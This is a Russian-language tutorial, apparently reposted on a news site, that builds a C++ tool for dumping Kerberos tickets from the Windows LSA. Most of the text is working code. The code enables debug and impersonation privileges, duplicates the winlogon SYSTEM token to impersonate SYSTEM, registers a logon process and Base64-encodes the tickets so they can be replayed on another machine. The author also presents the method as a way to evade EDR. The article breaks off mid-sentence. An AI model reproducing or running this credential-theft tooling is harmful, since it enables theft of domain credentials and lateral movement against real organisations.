Категория > Новости > Дерем три шкуры. Как дампить тикеты Kerberos на C++ - «Новости»
Дерем три шкуры. Как дампить тикеты Kerberos на C++ - «Новости»26-05-2023, 00:00. Автор: Ferguson |
одной из моих прошлых статей ты узнал, что такое SSP, SP и AP. Теперь пора начинать ими злоупотреблять по‑настоящему! Мы будем обращаться к AP Kerberos и доставать из него билеты. Этот AP по умолчанию всегда присутствует в процессе lsass. , поэтому для взаимодействия с ним будут использоваться стандартные API, которые нужны для работы с LSA.Подгруженная kerberos.dll Нам потребуется всего несколько функций:
Да, дамп будет выполнен без всякой магии, стандартными, легитимными вызовами API. Я помню, как однажды услышал, будто дамп тикетов осуществляется путем чтения, а затем парсинг памяти LSASS. Так вот, друзья мои, ни Rubeus, ни Mimikatz так не делают. Оба инструмента дампят точно так же, с помощью тех же самых апишек. Итоговый результат получился более чем крышесносный. Если у нас есть права локального администратора, то мы выгрузим абсолютно ВСЕ тикеты из системы. Дамп тикетов от лица привилегированной УЗ А если прав администратора нет, то сможем получить лишь тикеты из сеанса входа текущего пользователя. Тикеты текущего пользователя Итак, приступим к написанию инструмента. Начало работыПри взаимодействии по протоколу Kerberos между клиентом и KDC или службой используется AP Kerberos. Внутри его кеша будут храниться все сессионные ключи, а также полученные пользователем TGT- и TGS-билеты. Но каким образом AP Kerberos понимает, что этот тикет принадлежит такому‑то пользователю, а этот другому? Здесь в игру вступают LUID. LUID — некий идентификатор текущей сессии. Мы можем увидеть текущий LUID с помощью команды Текущий LUID 0x3e121 Для успешного дампа тикетов других пользователей нам нужно знать их LUID. Перечислить LUID можно с помощью Во‑первых, я предлагаю создать заголовочный файл
#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <TlHelp32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")
const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved",
};
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LSA_STRING* create_lsa_string(const char* value);
bool EnablePrivilege(PCWSTR privName, bool enable);
DWORD ImpersonateSystem();
BOOL LsaConnect(PHANDLE LsaHandle);
VOID filetimeToTime(const FILETIME* time);
VOID ParseTktFlags(ULONG flags);
DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);
ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);
Пока мы не будем углубляться в подробности работы каждой функции — я расскажу о них чуть позже. Мы также добавили массив символов для кодирования в Base64. Кодировать тикет в Base64 нужно по той причине, что он представляет собой бинарные данные, которые невозможно корректно отобразить. Тикет в голом виде Как ты видишь, здесь огромное количество непечатаемых символов. Разве что просматривается имя домена. Эти данные никак не получится скопировать, вставить на другой компьютер, а затем внедрить, поэтому применяем кодирование в Base64. Функция для кодирования выглядит вот так:
std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = bytes_to_encode[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}
Она как раз использует этот самый массив символов. Теперь перейдем в самое начало нашего кода, в функцию
int main() {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
HANDLE LsaHandle = NULL;
BOOL DumpAllTickets = FALSE;
if (LsaConnect(&LsaHandle)) {
#ifdef DEBUG
std::wcout << L"[+] I'll dump all tickets" << std::endl;
#endif
DumpAllTickets = TRUE;
}
else {
#ifdef DEBUG
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
#endif
}
#ifdef DEBUG
std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle << std::endl;
#endif
PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;
#endif
Уж извини меня за такое количество директив для препроцессора. Сначала думал их убрать, а потом оставил. Если тебе не нужно лишнего большого вывода, где инструмент будет сообщать обо всем, что он делает с системой, то просто из файла Итак, первым делом мы ставим локаль, чтобы наш инструмент умел успешно работать с любыми языками, хоть с русским, хоть с японским, хоть с каппадокийским диалектом греческого языка. Далее в функции Особенности дампаНаш инструмент замечателен тем, что тикеты будет отдавать сам AP Kerberos. Причем этот вариант можно считать достаточно скрытным. Быть может, на каких‑то пентестах ты замечал, что сдампить LSASS стандартными средствами не получается, но при этом какой‑нибудь Проблема заключается в том, что большинство EDR (да и всяких других новомодных средств защиты, в рекламу которых вбухивают миллионы долларов) отслеживает примитивные функции для получения хендла на процесс Подключение к LSAЧтобы начать взаимодействовать с AP Kerberos, следует подключиться к LSA, ведь именно LSA управляет всеми пакетами аутентификации. Подключение я вынес в отдельную функцию
// Вызов функции
HANDLE LsaHandle = NULL;
LsaConnect(&LsaHandle);
// Функция
BOOL LsaConnect(PHANDLE LsaHandle) {
NTSTATUS status = 0;
wchar_t username[256];
DWORD usernamesize;
#ifdef DEBUG
GetUserName(username, &usernamesize);
std::wcout << L"[?] Current user: " << username << std::endl;
std::wcout << L"[?] Trying to get system" << std::endl;
#endif
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
}
Итак, именно в этой функции мы будем проверять, получится ли сдампить тикеты всех пользователей, либо мы ограничимся только текущим. Сначала получаем имя пользователя, от лица которого запущен инструмент, после чего дергается функция
DWORD ImpersonateSystem() {
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeDebugPrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;
#endif
}
if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeImpersonatePrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::endl;
#endif
}
DWORD systemPID = GetWinlogonPid();
if (systemPID == 0) {
#ifdef DEBUG
std::wcout << "[!] Error getting PID to Winlogon process" << std::endl;
#endif
return 1;
}
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPID);
DWORD dw = 0;
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcessToken failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &newTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::endl;
#endif
return 1;
}
ImpersonateLoggedOnUser(newTokenHandle);
return 0;
}
Функции для работы с токенами мы уже рассматривали в статьях «Privileger. Управляем привилегиями в Windows» и «Свин API. Изучаем возможности WinAPI для пентестера», поэтому не вижу смысла на них останавливаться.
DWORD GetWinlogonPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
return entry.th32ProcessID;
}
}
}
return 0;
}
Если хотя бы одна из этих операций оборачивается неудачей, то нам будет суждено сдампить лишь тикеты текущего пользователя.
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
Начнем с варианта, в котором нам не удалось добиться исполнения кода от лица системы. В таком случае придется немножко взгрустнуть, получить обычный хендл на LSA и вернуть
if (LsaConnect(&LsaHandle)) {
std::wcout << L"[+] I'll dump all tickets" << std::endl;
DumpAllTickets = TRUE;
}
else {
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
}
Если же нам повезло чуть больше, то теперь наша программа исполняется от лица системы, поэтому регистрируем процесс входа в систему. Сделать это можно с помощью
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
Полученный с помощью функции
LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[100];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA_STRING);
memcpy(str->Buffer, value, str->Length);
return str;
}
После создания имени для нашего процесса входа пора наконец‑то вызывать Перейти обратно к новости |